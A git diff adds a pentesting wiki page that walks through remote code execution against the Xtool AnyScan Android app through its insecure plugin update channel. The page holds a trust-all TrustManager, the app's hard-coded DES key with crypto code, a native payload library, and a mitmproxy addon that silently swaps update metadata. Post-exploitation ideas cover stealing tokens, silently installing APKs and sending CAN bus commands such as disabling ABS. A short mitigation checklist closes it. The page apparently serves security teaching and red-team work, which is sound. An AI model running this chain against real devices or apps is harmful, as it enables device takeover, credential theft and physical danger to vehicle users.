|
| 1 | +# Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +Many Android applications implement their **own “plugin” or “dynamic feature” update channels** instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept the traffic can supply **arbitrary native code that will be loaded inside the app process**, leading to full Remote Code Execution (RCE) on the handset – and in some cases on any external device controlled by the app (cars, IoT, medical devices …). |
| 6 | + |
| 7 | +This page summarises a real‐world vulnerability chain found in the Xtool **AnyScan** automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement. |
| 8 | + |
| 9 | +--- |
| 10 | +## 1. Identifying an Insecure TLS TrustManager |
| 11 | + |
| 12 | +1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…). |
| 13 | +2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate: |
| 14 | + |
| 15 | +```java |
| 16 | +public static TrustManager[] buildTrustManagers() { |
| 17 | + return new TrustManager[]{ |
| 18 | + new X509TrustManager() { |
| 19 | + public void checkClientTrusted(X509Certificate[] chain, String authType) {} |
| 20 | + public void checkServerTrusted(X509Certificate[] chain, String authType) {} |
| 21 | + public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} |
| 22 | + } |
| 23 | + }; |
| 24 | +} |
| 25 | +``` |
| 26 | + |
| 27 | +3. If present the application will accept **any TLS certificate** → you can run a transparent **MITM proxy** with a self-signed cert: |
| 28 | + |
| 29 | +```bash |
| 30 | +mitmproxy -p 8080 -s addon.py # see §4 |
| 31 | +iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator |
| 32 | +``` |
| 33 | + |
| 34 | +## 2. Reverse-Engineering the Update Metadata |
| 35 | + |
| 36 | +In the AnyScan case each app launch triggers an HTTPS GET to: |
| 37 | +``` |
| 38 | +https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx |
| 39 | +``` |
| 40 | +The response body is an **XML document** whose `<FileData>` nodes contain **Base64-encoded, DES-ECB encrypted** JSON describing every available plugin. |
| 41 | + |
| 42 | +Typical hunting steps: |
| 43 | +1. Locate the crypto routine (e.g. `RemoteServiceProxy`) and recover: |
| 44 | + * algorithm (DES / AES / RC4 …) |
| 45 | + * mode of operation (ECB / CBC / GCM …) |
| 46 | + * hard-coded key / IV (often 56-bit DES keys or 128-bit AES keys in constants) |
| 47 | +2. Re-implement the function in Python to decrypt / encrypt the metadata: |
| 48 | + |
| 49 | +```python |
| 50 | +from Crypto.Cipher import DES |
| 51 | +from base64 import b64decode, b64encode |
| 52 | + |
| 53 | +KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan |
| 54 | + |
| 55 | +def decrypt_metadata(data_b64: str) -> bytes: |
| 56 | + cipher = DES.new(KEY, DES.MODE_ECB) |
| 57 | + return cipher.decrypt(b64decode(data_b64)) |
| 58 | + |
| 59 | +def encrypt_metadata(plaintext: bytes) -> str: |
| 60 | + cipher = DES.new(KEY, DES.MODE_ECB) |
| 61 | + return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() |
| 62 | +``` |
| 63 | + |
| 64 | +## 3. Craft a Malicious Plugin |
| 65 | + |
| 66 | +1. Pick any legitimate plugin ZIP and replace the native library with your payload: |
| 67 | + |
| 68 | +```c |
| 69 | +// libscan_x64.so – constructor runs as soon as the library is loaded |
| 70 | +__attribute__((constructor)) |
| 71 | +void init(void){ |
| 72 | + __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid()); |
| 73 | + // spawn reverse shell, drop file, etc. |
| 74 | +} |
| 75 | +``` |
| 76 | +
|
| 77 | +```bash |
| 78 | +$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so |
| 79 | +$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt |
| 80 | +``` |
| 81 | + |
| 82 | +2. Update the JSON metadata so that `"FileName" : "PWNED.zip"` and `"DownloadURL"` points to your HTTP server. |
| 83 | +3. DES-encrypt + Base64-encode the modified JSON and copy it back inside the intercepted XML. |
| 84 | + |
| 85 | +## 4. Deliver the Payload with mitmproxy |
| 86 | + |
| 87 | +`addon.py` example that *silently* swaps the original metadata: |
| 88 | + |
| 89 | +```python |
| 90 | +from mitmproxy import http |
| 91 | +MOD_XML = open("fake_metadata.xml", "rb").read() |
| 92 | + |
| 93 | +def request(flow: http.HTTPFlow): |
| 94 | + if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path: |
| 95 | + flow.response = http.Response.make( |
| 96 | + 200, |
| 97 | + MOD_XML, |
| 98 | + {"Content-Type": "text/xml"} |
| 99 | + ) |
| 100 | +``` |
| 101 | + |
| 102 | +Run a simple web server to host the malicious ZIP: |
| 103 | +```bash |
| 104 | +python3 -m http.server 8000 --directory ./payloads |
| 105 | +``` |
| 106 | + |
| 107 | +When the victim launches the app it will: |
| 108 | +* fetch our forged XML over the MITM channel; |
| 109 | +* decrypt & parse it with the hard-coded DES key; |
| 110 | +* download `PWNED.zip` → unzip inside private storage; |
| 111 | +* `dlopen()` the included *libscan_x64.so*, instantly executing our code **with the app’s permissions** (camera, GPS, Bluetooth, filesystem, …). |
| 112 | + |
| 113 | +Because the plugin is cached on disk the backdoor **persists across reboots** and runs every time the user selects the related feature. |
| 114 | + |
| 115 | +## 5. Post-Exploitation Ideas |
| 116 | + |
| 117 | +* Steal session cookies, OAuth tokens, or JWTs stored by the app. |
| 118 | +* Drop a second-stage APK and silently install it via `pm install` (the app already has `REQUEST_INSTALL_PACKAGES`). |
| 119 | +* Abuse any connected hardware – in the AnyScan scenario you can send arbitrary **OBD-II / CAN bus commands** (unlock doors, disable ABS, etc.). |
| 120 | + |
| 121 | +--- |
| 122 | +### Detection & Mitigation Checklist (blue team) |
| 123 | + |
| 124 | +* NEVER ship a production build with a custom TrustManager/HostnameVerifier that disables certificate validation. |
| 125 | +* Do not download executable code from outside Google Play. If you *must*, sign each plugin with the same **apkSigning v2** key and verify the signature before loading. |
| 126 | +* Replace weak/hard-coded crypto with **AES-GCM** and a server-side rotating key. |
| 127 | +* Validate the integrity of downloaded archives (signature or at least SHA-256). |
| 128 | + |
| 129 | +--- |
| 130 | +## References |
| 131 | + |
| 132 | +- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) |
| 133 | +- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) |
| 134 | + |
| 135 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments